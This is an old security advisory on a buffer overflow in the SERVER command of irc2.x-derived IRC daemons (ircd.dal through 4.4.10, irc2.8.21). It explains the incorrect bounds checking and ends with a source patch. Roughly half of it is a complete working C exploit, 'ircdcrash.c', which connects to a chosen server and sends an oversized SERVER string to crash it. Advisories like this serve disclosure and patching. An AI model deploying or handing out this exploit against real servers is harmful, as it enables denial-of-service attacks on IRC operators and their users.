COMMAND

    ircd

SYSTEMS AFFECTED

    This  bug  is  known  to  be  present  in all versions of ircd.dal
    through 4.4.10, as well as the base irc2.8.21 distribution.

PROBLEM

    There is  a buffer  overflow present  in many  IRC servers derived
    from the  irc2.x distribution,  which has  been reported  as being
    actively  exploited  on  many  networks.   In  short, insufficient
    bounds  checking  on  the  parameters  to  the SERVER message will
    overflow a buffer, and you can do more or less anything you  could
    do with any other buffer overflow.  (The current spate of  attacks
    is aimed at just crashing  servers; this can be accomplished  with
    a  single  line  of  shell  code.)   This  overflow  is a bit more
    interesting than the usual, because  it's not a case of  _missing_
    bounds  checking;  rather,   it's  _incorrect_  bounds   checking,
    leading to a strncpy(s1, s2, -1) under certain circumstances.

    Credit goes to Andy Church.

    Here's an exploit Aaron Campbell wrote for the buffer overflow  in
    ircd. This will attempt to crash the daemon.

    /* ircdcrash.c by fx of nnh (aaron@ug.cs.dal.ca)
     *
     * Shouts out to: Punisher, TCroc, NC, gg, A-Flat, DBN3 crew.
     *
     * Thanks to Andy Church for addressing this problem on Bugtraq.
     *
     * There is a buffer overflow condition in the ircd/s_serv.c  file
     * of the ircd2.8.21 distribution and most likely exists in  other
     * versions.   It is possible  to exploit this  by sending a  very
     * long string  as the third  parameter (<info>) to  the SERVER
     * command.   Nothing particularly fancy  here, this program  will
     * just attempt to segfault the daemon. Here is the syntax of  the
     * SERVER command:
     *
     * SERVER <servername> <hopcount> <info>
     *
     * Here is the offending code, out of the m_server function:
     *
     *       if (parc > 3 && atoi(parv[2]))
     *          {
     *              hop = atoi(parv[2]);
     *              (void)strncpy(info, parv[3], REALLEN);
     *          }
     *       else if (parc > 2)
     *          {
     *              (void)strncpy(info, parv[2], REALLEN);
     *              if (parc > 3)
     *                  {
     *                              i = strlen(info);
     *                              (void)strncat(info, " ", REALLEN - i - 1);
     *                              (void)strncat(info, parv[3], REALLEN - i - 2);
     *                  }
     *
     * REALLEN is defined to be 50 in include/struct.h. Notice that in
     * order for the second (and therefore third) if() statement to be
     * executed, atoi(parv[2]) must NOT return a value. This means  we
     * must  not  send  numeric  characters  as  the second  parameter
     * (<hopcount>),  but  we  must  send  50 characters to  ensure
     * REALLEN - i - 2 will be less then 0.
     *
     *
     */
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <strings.h>
    #include <unistd.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <sys/uio.h>
    #include <sys/time.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/wait.h>

    int main(int argc, char *argv[])
    {
            char *str;
            int i, port = 6667, soc;
            struct sockaddr_in their_addr;

            /* open a socket for connecting */
            if ( (soc = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) {
                    perror("socket");
                    exit(0);
            }

            if ( argc < 2 ) {
                    printf("Usage: %s <ip_of_irc_server> <port>\n", argv[0]);
                    exit(1);
            }
            else
                    if ( argc > 2 )
                            port = atoi(argv[2]);

            /* fill-in target address struct */
            their_addr.sin_family = AF_INET;
            their_addr.sin_port = htons(port);
            their_addr.sin_addr.s_addr = inet_addr(argv[1]);
            bzero(&(their_addr.sin_zero),8);

            /* copy data into our string */
            str = (char *)malloc(4096);
            strcpy(str, "SERVER warez.blackdown.org aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa :[");

            printf("\nCreating string to send... Wait a sec...\n");

            for (i = 0; i < 4000; i++)
                    strcat(str, "o");
            strcat(str, "]\n");

            /* connect to target server */
            if ( connect(soc, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) < 0 )        {
                    perror("connect");
                    exit(1);
            }
            else    {

                    /* server might have something to say... wait... */
                    printf("Wait... Server might be talking to us...\n");
                    sleep(8);

                    /* send string */
                    printf("Sending crash string...");
                    if ( send(soc, str, strlen(str), 0) < 0 )       {
                            perror("send");
                            exit(1);
                    }

                    /* finished */
                    printf("Done!\n\n");
                    close(soc);
                    return(1);
            }
    }

SOLUTION

    The bug is believed to NOT be present in ircu2.9.32, and is  known
    to not  be present  in ircd.dal4.4.11.   The patch  below was made
    against ircd.dal4.4.5, but  should apply more  or less cleanly  to
    other irc2.x derivations.

    --- src/s_serv.c.old    Sun Dec  8 21:06:55 1996
    +++ src/s_serv.c        Tue Jul  1 00:42:16 1997
    @@ -282,15 +282,17 @@
                {
                    hop = atoi(parv[2]);
                    (void)strncpy(info, parv[3], REALLEN);
    +               info[REALLEN] = 0;
                }
            else if (parc > 2)
                {
    -               (void)strncpy(info, parv[2], REALLEN);
    +               (void)strncpy(info, parv[2], REALLEN-2);
    +               info[REALLEN-2] = 0;
                    if (parc > 3)
                        {
    -                               i = strlen(info);
    -                               (void)strncat(info, " ", REALLEN - i - 1);
    -                               (void)strncat(info, parv[3], REALLEN - i - 2);
    +                       (void)strcat(info, " ");
    +                       (void)strncat(info, parv[3], REALLEN-strlen(info));
    +                       info[REALLEN] = 0;
                        }
                }
            /*